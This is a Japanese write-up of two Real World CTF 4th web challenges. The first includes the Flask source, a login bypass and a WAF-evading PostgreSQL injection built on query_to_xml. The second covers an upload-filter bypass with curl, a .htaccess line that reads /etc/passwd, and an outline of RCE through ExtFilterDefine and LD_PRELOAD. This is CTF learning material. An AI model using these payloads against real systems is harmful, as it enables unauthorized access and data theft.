Real World CTF 4th Writeup

Real World CTF 4th(2022年1月21日22:00~2022年1月23日22:00)にチームKUDoSとして参加しました。順位は全体で52位でした。

Hack into Skynet (Web, 73pts)

問題に添付されていたサーバー側のコードは次の通りです。

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

まずは、ログイン部分を見てみます。関連するSQLクエリを実行している部分を見てみますが、特にSQLインジェクションにつながる部分はなさそうです。

同じくログイン部分の query_longin_attempt 関数を見てみます。 入力されたパスワードを設定しているユーザーを取得していますが、該当するユーザーが無ければ、ユーザー名を空文字列に設定して入力されたユーザー名との一致をチェックしています。よって、入力したユーザー名が空文字であれば、ログイン部分のチェックをバイパスしてログイン状態にすることができます。

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else '' # 該当するuserが存在しない場合には空文字列と一致を判定
    return name == username

次に、ログインをしている状態でのみ実行される部分を見てみます。

query_kill_time 関数内の下記の部分にSQLインジェクションがあることが分かります。

sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)

試しに ' OR ''=' のような文字列をnameパラメータに設定してみますが、403が返ってきます。どうやら、下記のようなリクエスト処理の中で、HTTPリクエストで送られてくるパラメータなどの値を引数としてskynet_detect が呼び出されており、この部分の判定処理によって403の応答が返ってくるようです。しかし、 skynet_detect の実装は提供されていないため、挙動を推測する必要があります。

    if skynet_detect():
        return flask.abort(403)

いくつかの文字列をnameパラメータに指定してリクエストを送ったところ、skynet_detect はWAFの働きをしており、SQLっぽいリクエストを送るとエラーになるようです。WAFに検知される場合(403が返ってくる)とWAFに検知されない場合(403以外が返ってくる)のペイロードを分けてみると下記のようになりました。

  • WAFに検知される
';select pg_sleep(3) where ''='
'||(case when 1 then 'abc' end)||'
' or ''='
'||trim (trim(lower(' abc ')))||'
'||trim ' abc ')||'
'||lower(lower('a'))||'
'||'aa'||lower/*/*abc*/*/('A')||'
  • WAFに検知されない
';selt pg_sleep(3) where ''='
'||(case whn 1 then 'abc' end)||'
' or ''=
'||trim (trim(lowr(' abc ')))||'
'||trim( ' abc ')||'
'||lower(lowr('a'))||'
'||'aa'||lwer/*/*abc*/*/('A')||'

上記を見てみると、 '() の数が合わない、 SELECTSELT になっているなど、SQLの文法エラーになる場合にはWAFで検知されないことが分かります。 また、SQLの文法が正しくても、lowerlowr になるなど、関数が存在しない場合にも検知されないようです。 よって、WAFの検知を回避しても、正しくないSQL文となってしまうため、SQLインジェクションを実行するのは難しいように思えます。

コメントを挿入したり、char()を使ったりといった典型的な回避方法を試してみましたが、なかなかうまくいかずにかなり時間を費やしてしまいました。

ふと、HackTricksを眺めて query_to_xml を利用したペイロードを試してみたところ、query_to_xml は他の関数のように関数名だけでWAFに検知されることはなく、 本来

SELECT query_to_xml('select * from pg_user',true,true,'')

とする部分を

SELECT query_to_xml('select * from pg_user',true,,'')

とすることで検知されなくなることが分かりました。 さらに、文字列部分のクエリを好きに変更しても検知されないことがわかったので、これを利用すればクエリを実行できそうです。

ただし、query_to_xml の引数を正しく指定していないので、このままではエラーになってしまいます。 そこで最後の引数である文字列部分を $TAG$abc$TAG$ のようにすると、WAFを回避して正しく query_to_xml の引数を指定できました。

さらに、いろいろ試した中で = はWAFに検知されてしまう場合でも、~ では回避できることが分かったので、これを query_to_xml と組み合わせてデータベースの情報を取得できました。

target_credentials テーブルに secret_key というカラムがあり、そこにフラグが格納されていました。 最終的に以下のようなペイロードで、一文字ずつflagを取得しました。

'or cast(query_to_xml('select secret_key from target_credentials limit 1 offset 0',name~'.',true,$TAG$abc$TAG$) as text)~'key>rwctf{

flag: rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

結局、 skynet_detect がどういった実装で検知をしていたのか、なぜこの方法で回避ができたのか謎で終わってしまいました。

他の解法

実装が分からないWAFを回避して、SQLペイロードを送るのは非常に骨の折れる作業でした。 しかし、SQLの部分で回避しようとしなくても、skynet_detect がHTTPリクエストのあらゆる値から検出を行っていることを利用する方法もあったようです。

一例では、skynet_detect がリクエストのbody全体を引数としているので、フォームを送信する際のContent-Typeを multipart/form-data にすることで application/x-www-form-urlencoded と混同させて、 検出を難しくできるといった方法があるようです。

参考

解けなかった問題

RWDN (Web, 215pts)

問題としては、ファイルをアップロードするとApacheサーバー側からアップロードしたファイルが提供されるというものでした。

最初のファイルをアップロードする部分は、特定の拡張子のみを受け付けるようになっています。 しかし、ファイルの一つ目の拡張子チェックが通れば、一緒に送った他のファイルをアップロードできるようになっています。

module.exports = () => {
    return (req, res, next) => {
      if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) {
        res.status(400).send('Something error.');
        return;
      }
      Object.keys(req.files).forEach(function(key){
        var filename = req.files[key].name.toLowerCase();
        var position = filename.lastIndexOf('.');
        if (position == -1) {
          return next();
        }
        var ext = filename.substr(position);
        var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld'];
        if ( !allowexts.includes(ext) ){
          res.status(400).send('Something error.');
          return;
        }
        return next(); // 1つ目のファイルの拡張子チェックが通れば終了
      });
    };
  };

よって、下記のようにすることで、拡張子のチェック(.png)を回避して、 .htaccess をアップロードできました。

$ curl -i -v -F 'name=@q.png' -F 'hoge=@.htaccess' 'http://47.243.75.225:31337/upload?formid=hoge'

さらに、アップロードされたファイルは、ファイルの内容とクライアント側のIPアドレスから生成されたmd5ハッシュごとにディレクトリが作成され、その中に保存されるようになっています。

app.post('/upload', function(req, res) {
  let sampleFile;
  let uploadPath;
  let userdir;
  let userfile;
  sampleFile = req.files[req.query.formid];
  userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
  userfile = sampleFile.name.toString();
  if(userfile.includes('/')||userfile.includes('..')){
      return res.status(500).send("Invalid file name");
  }
  uploadPath = '/uploads/' + userdir + '/' + userfile;
  sampleFile.mv(uploadPath, function(err) {
    if (err) {
      return res.status(500).send(err);
    }
    res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
  });
});

試しに以下の内容の .htaccess をアップロードしてアップロードされたディレクトリにアクセスすると、オプションで指定したstatusが表示されています。 Apache.htaccess によるオプション上書きが有効になっているようです。

SetHandler server-status

f:id:nntomoya:20220130231859p:plain
Apacheサーバーのstatus表示

また、 ファイルのmd5が同じであれば、違うファイル名でも同じディレクトリにアップロードされます。 これを利用して、 .htaccess としても有効なPHPCGI、SSIのファイルをアップロードし、 .htaccesshandler指定してみたのですが、どれも必要なモジュールがロードされておらず動作しませんでした。

競技時間中はここまでで時間切れとなってしまい、解くことができませんでした。

後ほど解法を見ていたところ、 .htaccess を利用してサーバー側のファイルの内容を抽出できるようです。

ErrorDocument 404 %{file:/etc/passwd}

見たことが無い文法だったのですが、 %{<関数>:<引数>} のように記述することで、特定の関数で処理を行った結果を埋め込むことができるようです。

httpd.apache.org

指定できる関数file 以外にも環境変数を取得するための osenvBase64変換を行う base64 などがあるようです。

これを利用して apache.conf の内容を取得すると、mod_ext_filterのExtFilterDefineでコマンドを実行するように指定されていることが分かります。 SetOutputFilterでレスポンスの内容をコマンドで処理するように指定し、SetEnvでLD_PRELOAD にアップロードしたsoファイルを指定することでRCEができたようです。

参考 r3kapig.com